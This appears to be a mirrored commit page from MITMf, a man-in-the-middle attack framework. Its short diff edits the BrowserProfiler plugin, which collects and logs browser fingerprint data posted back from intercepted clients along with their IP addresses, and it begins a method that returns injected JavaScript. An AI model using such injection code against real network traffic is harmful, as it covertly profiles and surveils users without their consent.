mirror of
https://github.com/byt3bl33d3r/MITMf.git
synced 2025-07-07 13:32:18 -07:00
revamped beefapi, fixed BrowserProfiler output
This commit is contained in:
parent
f05e132813
commit
ff235e3e90
4 changed files with 111 additions and 92 deletions
|
@ -29,8 +29,10 @@ class BrowserProfiler(Inject, Plugin):
|
|||
if 'clientprfl' in request.uri:
|
||||
self.dic_output = self.post2dict(request.postData)
|
||||
self.dic_output['ip'] = str(request.client.getClientIP()) # add the IP of the client
|
||||
if self.dic_output['plugin_list'] > 0:
|
||||
self.dic_output['plugin_list'] = self.dic_output['plugin_list'].split(',')
|
||||
pretty_output = pformat(self.dic_output)
|
||||
logging.warning("%s Browser Profiler data:\n%s" % (request.client.getClientIP(), pretty_output))
|
||||
logging.warning("%s >> Browser Profiler data:\n%s" % (request.client.getClientIP(), pretty_output))
|
||||
|
||||
def get_payload(self):
|
||||
payload = """<script type="text/javascript">
|
||||
|
|
Loading…
Add table
Add a link
Reference in a new issue